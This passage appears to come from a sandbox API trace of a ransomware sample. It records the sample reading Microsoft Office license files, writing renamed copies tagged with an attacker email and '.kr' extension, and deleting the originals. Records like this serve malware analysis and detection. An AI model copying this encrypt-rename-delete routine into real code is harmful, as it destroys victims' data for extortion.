(lpString=".docx") returned 5 [0215.990] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.990] lstrlenW (lpString=".pdf") returned 4 [0215.990] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.990] lstrlenW (lpString=".xls") returned 4 [0215.990] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.990] lstrlenW (lpString=".xlsx") returned 5 [0215.990] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.990] lstrlenW (lpString=".ppt") returned 4 [0215.990] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ul-phn.xrm-ms") returned 84 [0215.990] lstrlenW (lpString=".zip") returned 4 [0215.990] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.990] lstrlenW (lpString=".rar") returned 4 [0215.990] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.990] lstrlenW (lpString=".bz2") returned 4 [0215.990] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.990] lstrlenW (lpString=".7z") returned 3 [0215.990] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ul-phn.xrm-ms") returned 84 [0215.990] lstrlenW (lpString=".dbf") returned 4 [0215.990] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ul-phn.xrm-ms") returned 84 [0215.990] lstrlenW (lpString=".1cd") returned 4 [0215.990] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ul-phn.xrm-ms") returned 84 [0215.990] lstrlenW (lpString=".jpg") returned 4 [0215.990] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ul-phn.xrm-ms") returned 84 [0215.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ul-phn.xrm-ms") returned 84 [0215.990] lstrlenW (lpString=".doc") returned 4 [0215.990] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.991] lstrlenW (lpString=".docx") returned 5 [0215.991] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.991] lstrlenW (lpString=".pdf") returned 4 [0215.991] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.991] lstrlenW (lpString=".xls") returned 4 [0215.991] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.991] lstrlenW (lpString=".xlsx") returned 5 [0215.991] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.991] lstrlenW (lpString=".ppt") returned 4 [0215.991] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ul-phn.xrm-ms") returned 84 [0215.991] lstrlenW (lpString=".zip") returned 4 [0215.991] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.991] lstrlenW (lpString=".rar") returned 4 [0215.991] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.991] lstrlenW (lpString=".bz2") returned 4 [0215.991] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.991] lstrlenW (lpString=".7z") returned 3 [0215.991] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ul-phn.xrm-ms") returned 84 [0215.991] lstrlenW (lpString=".dbf") returned 4 [0215.991] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ul-phn.xrm-ms") returned 84 [0215.991] lstrlenW (lpString=".1cd") returned 4 [0215.991] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_OEM_Perp-ul-phn.xrm-ms") returned 84 [0215.991] lstrlenW (lpString=".jpg") returned 4 [0215.991] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.991] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0215.992] lstrlenW (lpString="ProjectProR_Retail2-ul-phn.xrm-ms") returned 33 [0215.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail2-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0215.992] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=19945) returned 1 [0215.992] CloseHandle (hObject=0x478) returned 1 [0215.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail2-ul-phn.xrm-ms")) returned 0x220 [0215.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail2-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0215.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail2-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0215.993] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0215.993] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0215.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail2-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0215.994] GetLastError () returned 0x0 [0215.994] ReadFile (in: hFile=0x478, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x4de9, lpOverlapped=0x0) returned 1 [0215.996] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x4df0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x4df0, lpOverlapped=0x0) returned 1 [0215.997] ReadFile (in: hFile=0x478, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0215.997] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x116, lpOverlapped=0x0) returned 1 [0215.997] SetEndOfFile (hFile=0x3bc) returned 1 [0215.997] CloseHandle (hObject=0x3bc) returned 1 [0215.997] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0215.997] SetEndOfFile (hFile=0x478) returned 1 [0216.003] CloseHandle (hObject=0x478) returned 1 [0216.003] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.003] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail2-ul-phn.xrm-ms")) returned 1 [0216.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ul-phn.xrm-ms") returned 83 [0216.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ul-phn.xrm-ms") returned 83 [0216.004] lstrlenW (lpString=".doc") returned 4 [0216.004] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.004] lstrlenW (lpString=".docx") returned 5 [0216.004] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.004] lstrlenW (lpString=".pdf") returned 4 [0216.004] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.004] lstrlenW (lpString=".xls") returned 4 [0216.004] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.004] lstrlenW (lpString=".xlsx") returned 5 [0216.004] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.004] lstrlenW (lpString=".ppt") returned 4 [0216.005] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ul-phn.xrm-ms") returned 83 [0216.005] lstrlenW (lpString=".zip") returned 4 [0216.005] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.005] lstrlenW (lpString=".rar") returned 4 [0216.005] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.005] lstrlenW (lpString=".bz2") returned 4 [0216.005] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.005] lstrlenW (lpString=".7z") returned 3 [0216.005] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ul-phn.xrm-ms") returned 83 [0216.005] lstrlenW (lpString=".dbf") returned 4 [0216.005] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ul-phn.xrm-ms") returned 83 [0216.005] lstrlenW (lpString=".1cd") returned 4 [0216.005] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ul-phn.xrm-ms") returned 83 [0216.005] lstrlenW (lpString=".jpg") returned 4 [0216.005] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ul-phn.xrm-ms") returned 83 [0216.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ul-phn.xrm-ms") returned 83 [0216.005] lstrlenW (lpString=".doc") returned 4 [0216.005] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.005] lstrlenW (lpString=".docx") returned 5 [0216.005] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.005] lstrlenW (lpString=".pdf") returned 4 [0216.005] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.005] lstrlenW (lpString=".xls") returned 4 [0216.005] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.005] lstrlenW (lpString=".xlsx") returned 5 [0216.005] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.006] lstrlenW (lpString=".ppt") returned 4 [0216.006] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ul-phn.xrm-ms") returned 83 [0216.006] lstrlenW (lpString=".zip") returned 4 [0216.006] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.006] lstrlenW (lpString=".rar") returned 4 [0216.006] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.006] lstrlenW (lpString=".bz2") returned 4 [0216.006] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.006] lstrlenW (lpString=".7z") returned 3 [0216.006] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ul-phn.xrm-ms") returned 83 [0216.006] lstrlenW (lpString=".dbf") returned 4 [0216.006] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ul-phn.xrm-ms") returned 83 [0216.006] lstrlenW (lpString=".1cd") returned 4 [0216.006] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ul-phn.xrm-ms") returned 83 [0216.006] lstrlenW (lpString=".jpg") returned 4 [0216.006] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.006] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0216.006] lstrlenW (lpString="ProjectProR_Trial-ppd.xrm-ms") returned 28 [0216.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0216.009] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=20973) returned 1 [0216.009] CloseHandle (hObject=0x478) returned 1 [0216.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_trial-ppd.xrm-ms")) returned 0x220 [0216.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_trial-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0216.009] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0216.009] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0216.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_trial-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0216.010] GetLastError () returned 0x0 [0216.010] ReadFile (in: hFile=0x478, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x51ed, lpOverlapped=0x0) returned 1 [0216.012] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x51f0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x51f0, lpOverlapped=0x0) returned 1 [0216.014] ReadFile (in: hFile=0x478, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0216.014] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x10c, lpOverlapped=0x0) returned 1 [0216.014] SetEndOfFile (hFile=0x3bc) returned 1 [0216.014] CloseHandle (hObject=0x3bc) returned 1 [0216.014] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0216.014] SetEndOfFile (hFile=0x478) returned 1 [0216.017] CloseHandle (hObject=0x478) returned 1 [0216.017] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.018] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_trial-ppd.xrm-ms")) returned 1 [0216.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-ppd.xrm-ms") returned 78 [0216.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-ppd.xrm-ms") returned 78 [0216.019] lstrlenW (lpString=".doc") returned 4 [0216.019] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.019] lstrlenW (lpString=".docx") returned 5 [0216.019] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.019] lstrlenW (lpString=".pdf") returned 4 [0216.019] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.019] lstrlenW (lpString=".xls") returned 4 [0216.019] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.019] lstrlenW (lpString=".xlsx") returned 5 [0216.019] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.019] lstrlenW (lpString=".ppt") returned 4 [0216.019] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-ppd.xrm-ms") returned 78 [0216.019] lstrlenW (lpString=".zip") returned 4 [0216.019] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.019] lstrlenW (lpString=".rar") returned 4 [0216.019] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.019] lstrlenW (lpString=".bz2") returned 4 [0216.019] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.019] lstrlenW (lpString=".7z") returned 3 [0216.019] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-ppd.xrm-ms") returned 78 [0216.019] lstrlenW (lpString=".dbf") returned 4 [0216.019] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-ppd.xrm-ms") returned 78 [0216.019] lstrlenW (lpString=".1cd") returned 4 [0216.019] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-ppd.xrm-ms") returned 78 [0216.020] lstrlenW (lpString=".jpg") returned 4 [0216.020] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-ppd.xrm-ms") returned 78 [0216.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-ppd.xrm-ms") returned 78 [0216.020] lstrlenW (lpString=".doc") returned 4 [0216.020] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.020] lstrlenW (lpString=".docx") returned 5 [0216.020] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.020] lstrlenW (lpString=".pdf") returned 4 [0216.020] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.020] lstrlenW (lpString=".xls") returned 4 [0216.020] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.020] lstrlenW (lpString=".xlsx") returned 5 [0216.020] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.020] lstrlenW (lpString=".ppt") returned 4 [0216.020] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-ppd.xrm-ms") returned 78 [0216.020] lstrlenW (lpString=".zip") returned 4 [0216.020] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.020] lstrlenW (lpString=".rar") returned 4 [0216.020] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.020] lstrlenW (lpString=".bz2") returned 4 [0216.020] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.020] lstrlenW (lpString=".7z") returned 3 [0216.020] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-ppd.xrm-ms") returned 78 [0216.021] lstrlenW (lpString=".dbf") returned 4 [0216.021] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-ppd.xrm-ms") returned 78 [0216.021] lstrlenW (lpString=".1cd") returned 4 [0216.021] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-ppd.xrm-ms") returned 78 [0216.021] lstrlenW (lpString=".jpg") returned 4 [0216.021] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.021] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0216.021] lstrlenW (lpString="ProjectProR_Trial-ul-oob.xrm-ms") returned 31 [0216.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0216.022] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11608) returned 1 [0216.022] CloseHandle (hObject=0x478) returned 1 [0216.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_trial-ul-oob.xrm-ms")) returned 0x220 [0216.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_trial-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0216.317] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0216.317] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0216.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_trial-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0216.318] GetLastError () returned 0x0 [0216.318] ReadFile (in: hFile=0x378, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2d58, lpOverlapped=0x0) returned 1 [0216.319] WriteFile (in: hFile=0x4b4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2d60, lpOverlapped=0x0) returned 1 [0216.320] ReadFile (in: hFile=0x378, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0216.320] WriteFile (in: hFile=0x4b4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x112, lpOverlapped=0x0) returned 1 [0216.320] SetEndOfFile (hFile=0x4b4) returned 1 [0216.321] CloseHandle (hObject=0x4b4) returned 1 [0216.321] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0216.321] SetEndOfFile (hFile=0x378) returned 1 [0216.324] CloseHandle (hObject=0x378) returned 1 [0216.324] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.324] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft 